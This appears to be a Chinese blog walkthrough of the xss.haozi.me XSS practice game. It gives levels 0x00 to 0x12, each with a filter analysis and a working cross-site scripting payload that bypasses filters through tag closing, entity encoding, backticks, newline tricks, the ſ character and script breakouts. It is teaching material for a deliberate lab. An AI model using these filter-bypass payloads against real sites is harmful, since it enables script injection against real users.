xss.haozi练习通关详解

题库链接:https://xss.haozi.me/

0x00

这个游戏是要弹图片才算通关,光弹窗是不行的。

分析:

在这里插入图片描述

第一关没有任何限制条件,所以直接用img标签过。

payload:

<img src=1 onerror=alert(1)>

执行:

在这里插入图片描述
使用img标签,方法是使src错误,而使得onerror执行。我们就可以在onerror后面进行操作了。

0x01

分析:

在这里插入图片描述
这里给出的限制条件是<textarea>,而<textarea>标签下所有js代码不能执行,所以需要先闭合该标签。

payload:

</textarea><img src="1" onerror=alert(1)>

官方文档:https://developer.mozilla.org/en-US/docs/Web/HTML/Element/textarea

执行:

在这里插入图片描述

0x02

分析:

在这里插入图片描述
这里给出的限制条件是input标签,我们可以尝试闭合input标签,即添加"和>。

payload:

"><img src="1" onerror="alert(1)">

执行:

在这里插入图片描述

0x03

分析:

在这里插入图片描述

这里给出的限制条件是replace方法和过滤了()。我们可以通过实体编码括号和反引号来过。

payload:

<img src="1" onerror="alert`1`">

执行:

在这里插入图片描述

0x04

分析:

在这里插入图片描述

这里给出的限制条件是过滤了()和反引号`,我们可以使用编码来过 。

payload:

<img src="1" onerror="alert&#40;1&#41;">

执行:

在这里插入图片描述

0x05

分析:

在这里插入图片描述

这里给出的限制条件是过滤了右注释符,并且让你在注释符中输入,我们可以通过闭合注释来过。

payload:

--!><img src="1" onerror="alert(1)">

执行:

在这里插入图片描述

0x06

分析:

在这里插入图片描述

这里给出的限制条件是对auto和on开头只要加上等号就会变为下划线,加上大于号大于号也会变为下划线,也就是说过滤了autoforce和onerror事件。我们可以使用一个换行的技巧前提要加一个type属性值image和src映射路径属性,然后再让等于号和属性分开。

payload:

type="image" src="1" onerror
=alert(1)

执行:

在这里插入图片描述

0x07

分析:

在这里插入图片描述

这里给出的限制条件是使用正则表达式对<></>标签进行了限制,也就是说只能<或者>,总之不能闭合标签,那么这里我们可以使用<img标签来通过。

payload:

<img src="1" onerror="alert(1)"

执行:

在这里插入图片描述

0x08

分析:

在这里插入图片描述

这里给出的限制条件是对</style>进行了过滤,如果输入就会显示后面的编码内容,并且style标签中只能出现文本或者符号,js代码无法生效,可以模仿0x06中的换行来过。

payload:

</style
><img src="1" onerror="alert(1)">

</style
><script>alert`1`</script>
 
</style
><svg onload=alert(1)>

执行:

在这里插入图片描述

0x09

分析:

在这里插入图片描述

这里给出的限制条件是限制了URL,后面按正常套路闭合就行了,在使用img标签来过。

payload:

https://www.segmentfault.com><img src="1" onerror="alert(1)"

执行:

在这里插入图片描述

0x0A

分析:

在这里插入图片描述

这里给出的限制条件是对&、’、“、<、>、\、/进行了过滤,只要输入这些符号就会被转为实体编码,但img标签的src里是认符号的实体编码,和0x09一样直接输入就通过了。

payload:

https://www.segmentfault.com@xss.haozi.me/j.js

执行:

在这里插入图片描述

0x0B

分析:

在这里插入图片描述

这里给出的限制条件是将所有的字母都换成了大写,所以要将alert(1)进行实体编码。

payload:

<img src="1" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

执行:

在这里插入图片描述

0x0C

分析:

在这里插入图片描述

这里给出的限制条件是增加了script的过滤,我们可以使用实体编码的方法来过。

payload:

<img src="1" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

执行:

在这里插入图片描述

0x0D

分析:

在这里插入图片描述

这里给出的限制条件是通过正则表达式过滤了<、/、"、'这四种符号,并且指定了我们的input在//注释语句中,首先考虑逃出注释语句,使用–>注释符逃出,不过这里注意我们在使用语句alert(1)时需要换行。

payload:

-->
alert(1)
-->

执行:

在这里插入图片描述

0x0E

分析:

在这里插入图片描述

这里给出的限制条件是使用正则表达式过滤了所有字母,并且将字母小写转为了大写,如果输入<script>就会转为<_CRIPT>,所以这里只能使用一个特殊的符号 ſ ,它可以在转换为s而不被过滤,并且由于js中区分大小写,所以还需要将里面的js事件代码进行十进制的实体编码。

payload:

<ſvg onload=&#97;&#108;&#101;&#114;&#116;(1)>

执行:

在这里插入图片描述

0x0F

分析:

在这里插入图片描述

这里给出的限制条件是对&、’、“、<、>、\、/进行了过滤,只要输入这些符号就会被转为实体编码,并且让我们在img标签中输入,html可以识别转换的编码,所以我们先闭合然后输入js的事件函数alert(1)再通过注释符将后面的注释就可以过了。

payload:

');alert(1)
-->

执行:

在这里插入图片描述

0x10

分析:

在这里插入图片描述

这里给出的限制条件是window.data,这是window调用了全局变量,正好alert在windowd的全局中存在所以可以执行。

payload:

alert(1)

执行:

在这里插入图片描述

0x11

分析:

在这里插入图片描述

这里给出的限制条件是对`,“,<,>,,\n等进行了过滤,但是我们可以发现,如果我们输入双引号它会显示\”,其实这里并没有将双引号成功过滤,所以还是可以去使用。

payload:

");alert("1

执行:

在这里插入图片描述

0x12

分析:

在这里插入图片描述

这里给出的限制条件是输入"双引号会显示\",和0x11类似,不同的是"在这里的console里面输出,但是console.log不在html标签里面,也就是相当于"在html标签外面所以不能被编码,所以只能选择在\“的\前面加一个转义符再进行转义,或者闭合script标签就可以过。

payload:

#方法一
\");alert(1)//
    
 #方法二
\");alert(1)
-->
    
#方法三
</script>
<script>alert(1)</script>

执行:

在这里插入图片描述

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值